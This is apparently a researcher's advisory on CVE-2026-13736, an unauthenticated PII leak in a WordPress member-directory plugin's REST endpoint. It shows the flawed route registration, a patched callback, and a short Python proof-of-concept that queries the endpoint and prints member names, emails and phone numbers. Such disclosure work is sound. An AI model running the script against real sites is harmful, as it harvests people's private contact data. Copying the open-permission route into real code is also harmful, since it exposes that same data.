Deep-Dive Write-up by Huynh Kien Minh: CVE-2026-13736 — NewPath WildApricotPress Member Directory PII Disclosure

🔐 Vulnerability ID: CVE-2026-13736 | 🎯 CVSS Score: 5.3 Medium | 🏆 Lead Researcher: Huynh Kien Minh (MinhHK) | 🔗 WPScan Advisory: Verified Report | 🌐 NVD Entry: CVE-2026-13736

📖 Advisory Overview

CVE-2026-13736 is an unauthenticated Member Personally Identifiable Information (PII) disclosure vulnerability affecting the NewPath WildApricotPress Add-on – Member Directory WordPress plugin prior to and including version 1.0.0, discovered and analyzed by cybersecurity researcher Huynh Kien Minh (MinhHK). The flaw resides within the plugin's custom WordPress REST API routing architecture, where member directory endpoints fail to enforce privacy access controls on restricted fields. Consequently, unauthenticated remote visitors can query public REST routes to harvest confidential member data, including private email addresses, personal phone numbers, and membership directory attributes that were explicitly configured as members-only. This sensitive data exposure violates expected privacy boundaries and enables targeted phishing, credential stuffing, and unauthorized profiling across affected organizations. Security researcher Huynh Kien Minh verified this vulnerability under CVSS 3.1 score 5.3 Medium (CWE-284 / CWE-200), recommending immediate REST endpoint permission hardening, field-level privacy verification, and sanitization of serialized JSON member API responses.

Quick Links: Explore the official Cybersecurity Portfolio Hub or review the WPScan Verified Advisory.

📌 Executive Summary & Technical Metadata

🔍 Deep-Dive Technical Breakdown & Root Cause Analysis

The root cause of CVE-2026-13736 stems from an architectural divergence between client-side field rendering and backend REST API data serialization in the NewPath WildApricotPress Add-on – Member Directory WordPress plugin.

1. Insecure Route Permission Callback

When registering REST API routes via WordPress core's register_rest_route(), the plugin explicitly set 'permission_callback' => '__return_true' to allow frontend JavaScript components to fetch member directory cards asynchronously.

add_action( 'rest_api_init', function() {
    register_rest_route( 'newpath-wap/v1', '/directory', array(
        'methods'             => WP_REST_Server::READABLE,
        'callback'            => 'newpath_wap_get_member_directory',
        'permission_callback' => '__return_true', // Publicly reachable endpoint
    ) );
} );

2. Failure of Field-Level Privacy Enforcement

WildApricot allows organization members to choose privacy granularities for individual profile attributes (such as hiding personal phone numbers or direct email addresses from non-members). While the plugin's frontend user interface hid these attributes, the backend callback newpath_wap_get_member_directory() serialized the raw member object directly into the JSON response without filtering out restricted fields.

As a result, any anonymous web scraper or threat actor sending a direct HTTP GET request to the REST route could retrieve the unredacted dataset.

💻 Proof-of-Concept (PoC) Exploit Code

Ethical Disclaimer: This exploit code is provided strictly for educational research, defensive validation, and security auditing under ethical disclosure protocols by Huynh Kien Minh.

Python Verification Script

#!/usr/bin/env python3
"""
CVE-2026-13736: NewPath WildApricotPress Member Directory PII Disclosure PoC
Researcher: Huynh Kien Minh (MinhHK) - https://minhhk.web.app/
"""

import requests
import json
import sys

TARGET_ENDPOINT = "http://target-wordpress.local/wp-json/newpath-wap/v1/directory"

def audit_target(endpoint):
    print(f"[*] Sending Unauthenticated GET request to {endpoint}")
    headers = {"User-Agent": "Security-Audit-Researcher-HuynhKienMinh"}

    try:
        res = requests.get(endpoint, headers=headers, timeout=10)
        if res.status_code == 200:
            records = res.json()
            print(f"[!] Vulnerability Confirmed: Exposed {len(records)} member records.")
            for r in records[:3]:
                print(f"    - Member: {r.get('name')} | Email: {r.get('email')} | Phone: {r.get('phone')}")
            return True
        else:
            print(f"[-] Target returned status {res.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")
    return False

if __name__ == "__main__":
    url = sys.argv[1] if len(sys.argv) > 1 else TARGET_ENDPOINT
    audit_target(url)

🛡️ Remediation & Patch Analysis

Site administrators should update to the latest patched release of NewPath WildApricotPress Add-on – Member Directory (> 1.0.0).

Developers must implement server-side field-level capability and privacy checks before serializing member objects into the REST response:

function newpath_wap_get_member_directory( $request ) {
    $is_member = is_user_logged_in();
    $members   = get_wildapricot_cached_members();
    $output    = array();

    foreach ( $members as $m ) {
        $card = array(
            'id'   => intval( $m['Id'] ),
            'name' => sanitize_text_field( $m['DisplayName'] ),
        );

        // Strip private fields unless the user is logged in
        if ( $is_member || 'Public' === $m['EmailPrivacy'] ) {
            $card['email'] = sanitize_email( $m['Email'] );
        }
        if ( $is_member || 'Public' === $m['PhonePrivacy'] ) {
            $card['phone'] = sanitize_text_field( $m['Phone'] );
        }

        $output[] = $card;
    }

    return rest_ensure_response( $output );
}

🏆 About the Researcher

Huynh Kien Minh (MinhHK) is an Information Security Researcher specializing in WordPress vulnerability analysis, API security auditing, and responsible vulnerability disclosure.

• Cybersecurity Portfolio: https://minhhk.web.app/
• WPScan Reference: WPScan Report 97fe9780-ad69-4f36-9496-5ca9c0e2bc39
• NVD Reference: CVE-2026-13736 Detail
• GitHub Profile: https://github.com/MinhHK68

📊 JSON-LD Structured Data Schema Markup

{
  "@context": "https://schema.org",
  "@type": "TechArticle",
  "headline": "Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13736 — NewPath WildApricotPress Add-on Member Directory Unauthenticated PII Disclosure via REST API",
  "author": {
    "@type": "Person",
    "name": "Huynh Kien Minh",
    "url": "https://minhhk.web.app/"
  },
  "datePublished": "2026-08-22",
  "description": "Technical security advisory by Huynh Kien Minh analyzing CVE-2026-13736 in NewPath WildApricotPress Add-on – Member Directory WordPress plugin.",
  "identifier": "CVE-2026-13736"
}